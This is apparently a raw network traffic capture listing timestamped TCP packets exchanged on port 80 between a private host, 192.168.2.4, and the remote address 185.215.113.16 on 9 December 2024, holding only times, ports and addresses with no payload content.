Dec 9, 2024 20:27:45.996786118 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.996834040 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.996886969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.996936083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.998266935 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.998326063 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.998348951 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.998390913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.999005079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.999017000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.999054909 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.999069929 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.000072002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.000122070 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.000142097 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.000181913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.001147985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.001197100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.001225948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.001378059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.002285957 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.002299070 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.002326012 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.002343893 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.003274918 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.003299952 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.003328085 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.003344059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.004482985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.004538059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.004586935 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.004635096 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.005469084 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.005508900 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.005525112 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.005543947 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.006599903 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.006644011 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.006664038 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.006707907 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.007635117 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.007678986 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.007756948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.007802010 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.008738041 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.008785963 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.008790016 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.008825064 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.009929895 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.009979963 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.010039091 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.010081053 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.010901928 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.010960102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.011023045 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.011070967 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.011987925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.012041092 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.012151003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.012197971 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.013000011 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.013046980 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.013463974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.013514996 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.014106989 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.014158010 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.014241934 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.014292002 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.015228987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.015280008 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.015400887 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.015445948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.016407967 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.016463041 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.016463995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.016638994 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.017349005 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.017388105 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.017419100 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.017462969 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.018435001 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.018490076 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.018543959 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.018590927 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.019542933 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.019601107 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.019639015 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.019689083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.020670891 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.020713091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.020802021 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.020848989 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.021720886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.021770000 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.021771908 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.021810055 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.022778988 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.022842884 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.022871971 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.022916079 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.023879051 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.023933887 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.023992062 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.024041891 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.025041103 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.025079966 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.025103092 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.025124073 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.026106119 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.026119947 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.026164055 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.026175022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.027152061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.027208090 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.162595034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.162668943 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.162720919 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.162765980 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.163130999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.163182974 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.163213015 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.163252115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.164222956 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.164271116 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.164441109 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.164484978 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.165281057 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.165334940 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.165359974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.165400982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.166364908 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.166412115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.166452885 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.166491985 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.167468071 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.167517900 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.167598963 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.167656898 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.168546915 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.168595076 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.168668032 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.168709993 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.169658899 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.169708967 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.169745922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.169783115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.170886040 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.170933962 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.170934916 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.170969009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.171818018 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.171866894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.171900988 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.171941042 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.173346043 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.173388958 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.173397064 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.173424959 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.173958063 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.174005032 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.174031973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.174072981 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.175054073 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.175148010 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.175237894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.175295115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.176151037 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.176208019 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.176265955 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.176312923 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.177300930 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.177352905 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.177359104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.177392006 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.178313971 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.178364038 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.178500891 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.178546906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.179496050 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.179548979 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.179591894 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.179632902 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.180525064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.180581093 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.180675983 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.180720091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.181550026 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.181601048 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.181631088 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.181665897 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.182693958 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.182743073 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.182822943 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.182862043 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.183845043 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.183859110 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.183902025 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.184786081 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.184839964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.184851885 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.185019016 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.185863018 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.185914040 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.185976028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.186022997 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.186961889 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.187014103 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.187043905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.187091112 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.188069105 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.188184023 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.188210011 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.188251972 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.189124107 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.189177036 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.189234972 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.189285994 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.190212011 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.190262079 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.190279961 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.190321922 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.191343069 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.191396952 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.191476107 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.191521883 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.192408085 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.192456007 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.192575932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.192621946 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.193455935 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.193506956 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.193536043 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.193577051 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.194780111 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.194830894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.194855928 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.194894075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.195697069 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.195837021 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.195889950 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.196727037 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.196778059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.196851969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.196896076 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.197879076 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.197930098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.197997093 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.198040962 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.199042082 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.199089050 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.199155092 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.199194908 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.199963093 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.200012922 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.200026989 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.200140953 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.201121092 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.201172113 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.201232910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.201277971 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.202126980 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.202174902 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.202234983 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.202277899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.203244925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.203298092 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.203335047 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.203409910 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.204278946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.204329967 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.204412937 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.204454899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.205380917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.205513000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.205562115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.206443071 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.206475019 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.206520081 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.207541943 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.207607031 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.207647085 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.207741022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.208636999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.208688021 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.208703995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.208740950 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.209700108 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.209747076 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.209805012 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.209852934 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.210778952 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.210830927 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.210881948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.210925102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.211864948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.211915970 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.211987019 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.212029934 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.212943077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.212997913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.213047028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.213092089 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.214337111 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.214391947 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.214526892 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.214575052 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.215114117 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.215207100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.215245962 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.215292931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.216197014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.216298103 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.216317892 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.216362000 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.217293978 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.217344999 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.217374086 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.217417955 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.218323946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.218372107 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.218440056 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.218485117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.219389915 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.219449997 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.356589079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.356604099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.356616020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.356626034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.356638908 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.356650114 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.356662035 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.356710911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.356710911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.357637882 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.357692003 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.357758999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.357806921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.359843016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.359903097 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.360393047 CET	80	49766	185.215.113.16	192.168.2.4
